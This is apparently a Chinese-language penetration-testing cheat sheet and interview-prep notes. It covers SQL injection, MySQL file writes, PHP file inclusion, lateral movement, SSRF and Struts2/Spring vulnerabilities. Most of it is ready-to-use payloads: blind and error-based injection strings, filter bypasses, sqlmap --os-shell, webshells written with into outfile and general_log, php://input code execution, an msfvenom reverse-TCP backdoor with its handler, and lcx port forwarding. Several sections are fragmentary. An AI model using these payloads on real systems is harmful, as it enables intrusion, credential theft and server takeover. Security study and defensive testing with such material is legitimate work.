sql注入原理
web应用程序没有对输入的数据进行安全过滤,或者过滤不全面,导致攻击者通过将恶意的SQL语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击。
sql注入危害
sql注入分类
盲注的过程非常的繁琐,手工注入效率太低,可以使用Burp、SQLmap或者是自己编写Python脚本进行自动化测试。
sql盲注时常用到以下的函数:
攻击者通过发起不同请求观察响应内容的相同与否,判断某条SQL判断的结果是TRUE还是FALSE,来间接地猜测数据库中的数据。
先猜解长度 之后逐个通过ascii猜解通过返回不同的结果来判断
select * from xxx where id='12' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109
select ascii(substr(database(),1,1))=100;
攻击者通过注入延时语句(比如sleep )强制数据库延时一种长的时间,用于判断某条判断语句是true还是false,从而间接地猜测数据库中的数据。
猜解长度 之后逐个通过ascii猜解通过返回不同的时间来判断
select * from xxx where id='12' and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)
order by是mysql中对查询数据进行排序的方法(升序ASC 降序 DESC)
select * from xxx order by updatexml(1,if(1=2,1,user()),1) # 条件1=2,会报错回显user()
select * from xxx order by IF(1=1,1,(select+1+union+select+2))
select * from xxx order by (select+1+regexp+if(1=1,1,0x00))
select * from xxx order by extractvalue(1,if(1=1,1,user()))
select * from xxx order by if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
也可以用来判断字段数 order by 1,2,3,...n
,数值逐个递增尝试,当到n时报错,则说明存在n-1个字段数,之后配合union select 1,2,...,n-1
进行注入,确定回显位置
username=admin' union 1,2,'字符串' order by 3
order by if(1=1,id,username);
if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,id,username)
order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。
order by if(1=1,1,sleep(1))
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟
同样的,我们可以在上面的payload中替换我们想要的语句
order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,1,sleep(1))
/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
数据猜解
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
可以得知user()第一位为r,ascii码的16进制为0x72
猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
order by 判断字段数或者通过union select 1,2,3.。。。。。来判断字段数和输出位置
获取当前数据库 union select 1,database()-- -
获取数据库中的表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
获取表中的字段名 union select 1,group_concat(column_name) from information_schema.columns where table_name=’ '-- -
select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
select * from xxx where id='12' or extractvalue(1,concat(user(),0x7e,version()))
select * from xxx where id='12' or updatexml(1,concat(user(),0x7e,version()),1)
limit格式
limit [位置偏移量],行数
注入例子
select*from limittest limit 1,[可控点] or select ... limit [可控点]
注入分为两种情况
第一种:不存在 order by
这种情况下 limit 后面可以使用 union 进行联合查询注入
第二种:存在 order by
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。
在Limit后面 可以用 procedure analyse()这个子查询
而且只能用extractvalue 和 benchmark 函数进行延时
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
可以通过插入数据得到回显进行注入,也可以通过结合报错注入进行注入
update xxx set id='1' | select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8n)), 16, 10);
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 n)),16, 10);
注,上面方法在高版本mysql下不一定生效
update xxx set id='xx'+(select conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);)+'xx'
绕过比较符号”<>”(sqlmap盲注经常需要用到”<>”,使用between的脚本,或者greatest()/least函数的脚本)
between a and b:返回a,b之间的数据,不包含b
select * from manager where id between 1 and 3;
sqlmap使用between脚本
--tamper "between"
当后台对我们插入的数据进行了转义,但是对从数据库查询出的数据直接放到了sql语句中进行执行,可能会造成二次注入
我们注册用户名为123'
经过addslashes的转义变成123\'
存储在数据库中的还是123'
当后端在用我们用户名查询的时候就会得到 select * from xxx where id='12''
从而造成二次注入
secure-file-priv
是一个系统变量,对于文件读/写功能进行限制。具体如下:
secure-file-priv的值如下三种情况
1. 无内容,表示无限制。
2. 为NULL,表示禁止文件读/写。
3. 为目录名,表示仅允许对特定目录的文件进行读/写。
注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv
的值:
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
修改:
通过修改my.ini文件,添加:secure-file-priv=
启动项添加参数:mysqld.exe –secure-file-priv=
Mysql读取文件通常使用load_file函数,语法如下:
select load_file(file_path);
select load_file("d:/flag.txt");
第二种读文件的方法:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件
第三种读文件的方法:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件
限制:
前两种需要secure-file-priv无值或为有利目录。
都需要知道要读取的文件所在的绝对路径。
要读取的文件大小必须小于max_allowed_packet所设置的值
通过设置mysql日志目录
set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';
set 命令在sql注入中需要在堆叠注入中使用,在查询注入中不可用
into outfile / into dumpfile 写文件
select '<?php phpinfo(); ?>' into outfile 'c:/123.php';
tamper脚本使用方法:https://www.freebuf.com/sectool/179035.html
-u 指定一个url连接,url中必须带有有参数,类似格式 ?xx=xx 才行
-l 后接一个log文件,可以是burp等的代理的log文件
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url
-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标
--method=METHOD 指定是get方法还是post方法
--data=DATA 指明参数是哪些
--cookie=COOKIE 指定测试时使用的cookie
--user-agent=AGENT 指定一个user-agent的值进行测试
--random-agent 使用随机user-agent进行测试
--referer=REFERER 指定http包中的refere字段
-p TESTPARAMETER 知道测试的参数
--level=LEVEL 设置测试的等级
–string=STRING` 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。。
--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
–time-sec=TIMESEC` 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
–union-cols=UCOLS 联合查询的尝试列数
--current-user 当前用户
--current-db 当前数据库
–is-dba 是否为dba
–users 查询一共都有哪些用户
–passwords 查询用户密码的哈希
--dbs 目标服务器中有什么数据库
--tables 目标数据库有什么表
--columns 目标表中有什么列
–dump 这个就不解释了
–sql-query=QUERY` 执行一个sql语句。
–sql-shell` 创建一个sql的shell。
--os-shell 创建一个对方操作系统的shell,远程执行系统命令。
使用相同作用的其他函数,如:BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。
mysql:AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
windows下udf提权的条件
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数 sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py
在提权中我们只能使用dll文件中存在的函数
https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/-chenxs/p/11618846.html
UniOn SeleCt
ununionion seselectlect
and /*!select*/ 1,2
unio<>n sel<>ect
uni/**/on se/**/lect
、--空格
、#
号、;
号、/*注释*/
/**/
、%20 %09
、()
、回车(url编码中的%0a
)、(tab键上面的按钮)、tab键
、两个空格and等价于&&
、 or等价于||
、xor等价于|
、not等价于!
<>等价于!=
,所以在前面再加一个!
就是等号了,例!(id<>1)
%bf%27
%df%27
%aa%27
)、使用十六进制编码 'users'=>0x7573657273
and sleep(1)
等价于and benchmark(1000000000,1)
select group_concat("str1","str2");
等价于select concat_ws(“,”,”str1”,”str2”);使用substr()函数
select substr("string",1,3);
等价于 select substr("string" from 1 for 3);
使用join关键字来绕过
union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join (select 3)c
使用offset关键字:
适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2
mysql5.7 user 表变化
5.7版本的用户表mysql.user要求plugin字段非空,且默认值是mysql_native_password认证插件,并且不再支持mysql_old_password认证插件。
5.7版本的用户长度最大为32字节,之前最大长度为16字节,并且CREATE USER 和 DROP USER 命令里实现了 IF [NOT] EXISTS 条件判断。
5.7版本之后的用户通过grant创建用户报warning提示grant方法将被移除,用cerate user代替了
账户创建: CREATE USER 'dxy'@'localhost' IDENTIFIED BY '123456';
账户授权: grant select,insert,update,delete on dba_test.* to dxy@localhost;
查看权限: show grants for root@localhost;
查看密码: show create user dxy@localhos
CVE-2016-6662:MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
一些默认的mysql安装方式并且mysqld_safe脚本作为包装器以root权限启动mysql服务进程
攻击者能够将其恶意的库文件路径插入到配置文件(my.cnf)中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
在对目标进行信息收集时,若存在phpMyAdmin目录,尝试通过弱口令或者暴力破解进入数据库,之后进一步getShell。
getshell条件:
读写权限检查
show global variables like '%secure%';
要想导入一句话shell成功,则需要在MySQL文件夹下修改 my.ini 文件,
在[mysqld]下加入以下内容,然后重启MySQL即可
secure_auth = ON
secure_file_priv =
into outfile写shell
select '<?php eval($_POST[cmd]); ?>' into outfile '网站物理路径';
日志文件写shell
MySQL 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getShell。但是也要对生成的日志有可读可写的权限。
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/shell_log.php'
SELECT '<?php eval($_POST["cmd"]);?>'
http://luckyzmj.cn/posts/70ca8aea.html
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
PHP中文件包含函数有以下三种:
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
首先测试看看有没有目录遍历漏洞,尝试获取敏感信息文件,对于能否文件包含,主要看php.ini文件里的配置
常见的敏感信息路径:
Windows系统
c:\windows\php.ini // php 配置信息
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
Linux/Unix系统
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
session的存储位置获取方法
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
条件:magic_quotes_gpc = Off php版本<5.3.4
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
测试结果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
条件:windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃; Linux下目录最大长度为4096字节,超出的部分会被丢弃。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
payload
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
条件:windows OS,点号需要长于256
测试代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
payload
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
测试代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
通过远程文件包含漏洞,包含php.txt可以解析。
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
测试代码
<?php include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。
除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
用法:
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。如果设置了 enctype=”multipart/form-data” ,则 php://input 是无效的。
用法:
?file=php://input 数据利用POST传过去。
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
测试代码:
<?php
echo file_get_contents("php://input");
?>
测试:
在url地址中访问漏洞页面的同时提交post data 数据
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
访问url
?filename=php://input
同时传递post data数据如下
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
如果不开启allow_url_include会报错:报错信息
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;
访问URL
?filename=php://input
同时传递post data
<?php system('whoami');?>
POST过去PHP代码如果不开启allow_url_include会报错
通过file协议可以访问本地文件系统,读取到文件的内容
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
用法
?filename=file://c:/boot.ini
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
和php伪协议的input类似,碰到 file_get_contents() 来用;
<?php
// 打印 “I love PHP”
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>
注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();
,这类执行代码最后没有?></span>
闭合;
如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI)
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
用法:
?file=phar://压缩包/内部文件
?file=phar://xxx.png/shell.php
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
zip伪协议和phar协议类似,但是用法不一样。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
用法:
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
?file=zip://xxx.png#shell.php
https://www.fujieace.com/penetration-test/lateral-penetration.html
拿到一台服务器system权限如何横向渗透
首先使用nmap扫描内网主机,获取内网中其他服务器主机的信息
nmap -T4 -A -v 192.168.0.128
nmap -T4 -A -v 192.168.0.1/24
工具:netfuke、cain、ettercap、arpspoof、cobaltstrike
获取 windows 服务器本地密码
服务弱口令爆破
用户帐户控制(User Account Control,简写作UAC),该控制会阻止应用软件执行,需要输入密码才能运行。
突破UAC,MSF内有利用工具EXP,也可在网上搜索相关突破UAC工具
被攻击机上:
将本地的3389端口转发至 攻击机(192.168.0.106) 上的3333端口
lcx.exe -slave 192.168.0.106 3333 127.0.0.1 3389
攻击机上:
监听本地3333端口并转发至1111,然后连接本地的1111端口即可!
lcx.exe -listen 3333 1111
注意:攻击机上的端口必须是未使用的,可以使用 `netstat -an |find "1111"` 命令来进行查看是否已被别的服务占用
Linux:wget、curl
Windows:powershell(win高版本)、ftp脚本(win低版本)
www.zhangshengrong.com/p/281oQGrNwz
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
模拟环境:
- A主机:192.168.38.129
- B主机:27.19.126.82 192.168.0.101
- C主机:192.168.0.106
A能连接B,B能连接C,A不能连接C
攻击者A访问:192.168.0.101/ssrf/index.php?url=192.168.0.106:80
通过B主机的SSRF漏洞去探针C主机的80端口
真实环境:
网站服务器IP:202.104.15.185
存在www.xiaodi8.com网站
同时存在内网IP:192.168.0.105
同网段服务器IP:192.168.0.1 - 192.168.0.255
攻击者可以通过访问 www.xiaodi8.com 利用此网站的SSRF漏洞
去探针192.168.0.1 - 192.168.0.225 上的情况并进得漏洞利用
配置Metasploit exe后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe /root/desktop/test.exe //生成后门
进入MSF控制台
msf > use exploit/multi/handler //使用模块
msf > exploit(Handler) > set LHOST IP //设置kali的IP
msf > exploit(Handler) > run //监听,默认端口4444
【面试】【Struts2常见问题总结】【01】 【面试】【Struts2常见问题总结】【02】 Struts2著名RCE漏洞引发的十年之思 Struts2漏洞总结(到19年4月) 全版本struts2漏洞练习
S2-001 - 远程代码利用表单验证错误
S2-002 - <s:url>和<s:a>标记上的跨站点脚本(XSS)漏洞
S2-003 - XWork ParameterInterceptors旁路允许OGNL语句执行
S2-004 - 提供静态内容时的目录遍历漏洞
S2-005 - XWork ParameterInterceptors旁路允许远程命令执行
S2-006 - XWork中的多个跨站点脚本(XSS)生成错误页面
S2-007 - 当出现转换错误时,用户输入被评估为OGNL表达式
S2-008 - Struts2中的多个关键漏洞
S2-009 - ParameterInterceptor漏洞允许远程命令执行
S2-010 - 当使用Struts 2令牌机制进行CSRF保护时,可能会因滥用已知会话属性而绕过令牌检查
S2-011 - 长请求参数名称可能会显着提高DOS攻击的有效性
S2-012 - 展示应用程序漏洞允许远程命令执行
S2-013 - URL和锚标记的includeParams属性中存在的漏洞允许远程命令执行
S2-014 - 强制参数包含在URL和锚标记中引入的漏洞允许远程命令执行,会话访问和操作以及XSS攻击
S2-015 - 通配符匹配机制引入的漏洞或OGNL表达式的双重评估允许远程命令执行。
S2-016 - 通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行
S2-017 - 通过操作前缀为“redirect:”/“redirectAction:”的参数引入的漏洞允许打开重定向
S2-018 - Apache Struts2中的访问控制漏洞
S2-019 - 默认情况下禁用动态方法调用
S2-020 - 将Commons FileUpload升级到版本1.3.1(避免DoS攻击)并添加'class'以排除ParametersInterceptor中的params(避免ClassLoader操作)
S2-021 - 改进了ParametersInterceptor和CookieInterceptor中被排除的参数,以避免ClassLoader操作
S2-022 - 在CookieInterceptor中扩展排除的params以避免操纵Struts的内部
S2-023 - 令牌的生成值可以预测
S2-024 - 错误的excludeParams会覆盖DefaultExcludedPatternsChecker中定义的那些
S2-025 - 调试模式和公开的JSP文件中的跨站点脚本漏洞
S2-026 - 特殊顶级对象可用于访问Struts的内部
S2-027 - TextParseUtil.translateVariables不过滤恶意OGNL表达式
S2-028 - 使用具有损坏的URLDecoder实现的JRE可能会导致基于Struts 2的Web应用程序中的XSS漏洞。
S2-029 - 在标记属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行。
S2-030 - I18NInterceptor中可能的XSS漏洞
S2-031 - XSLTResult可用于解析任意样式表
S2-032 - 启用动态方法调用时,可以通过方法:前缀执行远程执行代码。
S2-033 - 使用REST插件时可以执行远程执行代码!启用动态方法调用时的运算符。
S2-034 - OGNL缓存中毒可能导致DoS漏洞
S2-035 - 动作名称清理容易出错
S2-036 - 在标签属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行(类似于S2-029)
S2-037 - 使用REST插件时可以执行远程执行代码。
S2-038 - 可以绕过令牌验证并执行CSRF攻击
S2-039 - Getter作为行动方法导致安全绕过
S2-040 - 使用现有默认操作方法输入验证绕过。
S2-041 - 使用URLValidator时可能发生DoS攻击
S2-042 - “公约”插件中可能的路径遍历
S2-043 - 在生产中使用Config Browser插件
S2-044 - 使用URLValidator时可能发生DoS攻击
S2-045 - 基于Jakarta Multipart解析器执行文件上载时可能的远程执行代码。
S2-046 - 基于Jakarta Multipart解析器执行文件上传时可能的RCE(类似于S2-045)
S2-047 - 使用URLValidator时可能发生DoS攻击(类似于S2-044)
S2-048 - Struts 2.3.x系列中Struts 1插件示例中的Struts Showcase应用程序中可能的RCE
S2-049 - DoS攻击可用于Spring安全操作
S2-050 - 使用URLValidator时的正则表达式拒绝服务(类似于S2-044和S2-047)
S2-051 - 远程攻击者可能在使用Struts REST插件时通过发送精心设计的xml请求来创建DoS攻击
S2-052 - 使用带有XStream处理程序的Struts REST插件处理XML有效负载时可能发生的远程代码执行攻击
S2-053 - 在Freemarker标记中使用无意表达而不是字符串文字时可能发生的远程执行代码攻击
S2-054 - 使用Struts REST插件时,可以使用精心设计的JSON请求执行DoS攻击
S2-055 - Jackson JSON库中的RCE漏洞
S2-056 - 使用Struts REST插件时,可以使用精心设计的XML请求执行DoS攻击
S2-057 - 当alwaysSelectFullNamespace为true(由用户或插件如Convention Plugin)时可能执行远程代码执行,然后:结果使用没有命名空间,同时,其上层包没有或通配符名称空间,类似于结果,当使用没有值和动作集的url标记时,它的上层包没有或通配符命名空间。
【面试】【Spring常见问题总结】【01】 【面试】【Spring常见问题总结】【02】 【面试】【Spring常见问题总结】【03】 【面试】【Spring常见问题总结】【04】 【面试】【Spring常见问题总结】【05】 【面试】【Spring常见问题总结】【06】 【面试】【Spring常见问题总结】【07】 【面试】【Spring常见问题总结】【08】 【面试】【Spring常见问题总结】【09】
https://blog.csdn.net/csacs/article/details/87951940
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth 2.0 – 2.0.9
Spring Security OAuth 1.0 – 1.0.5
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Spring Web Flow 2.4.0-2.4.4
pring Data Rest 远程命令执行漏洞(CVE-2017-8046)
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
Spring Framework 5.0 -5.0.4
Spring Framework 4.3 - 4.3.14
pring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Spring Data Commons 1.13 - 1.13.10
Spring Data Commons 2.0 - 2.0.5
【面试】【Hibernate常见问题总结】【01】 【面试】【Hibernate常见问题总结】【02】
Hibernate框架中的HQL注入漏洞
Hibernate是一种ORMapping框架,内部可以使用原生SQL还有HQL语言进行SQL操作。
所谓的HQL注入,就是指在Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。
目前来看,HQL注入除了万能密码、知道表名列名的情况下进行盲注外,我没有想到比较好的方法来进行漏洞利用,个人认为Hibernate中的注入比较鸡肋。
HQL注入与SQL注入类似
https://blog.csdn.net/u011721501/article/details/43918203?locationNum=13 https://www.cnblogs.com/-qing-/p/11650774.html
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
在黑盒测试中,这种类型比较容易通过漏洞扫描器直接发现,我们只需要按照扫描结果进行相应的验证就可以了。
相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。
<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。
存储型XSS的白盒审计同样要寻找未过滤的输入点和未过滤的输出函数。
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
DOM型XSS就是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问它们了。
这种XSS用的相对较少,并且由于其特殊性,常见的漏扫工具都无法检测出来
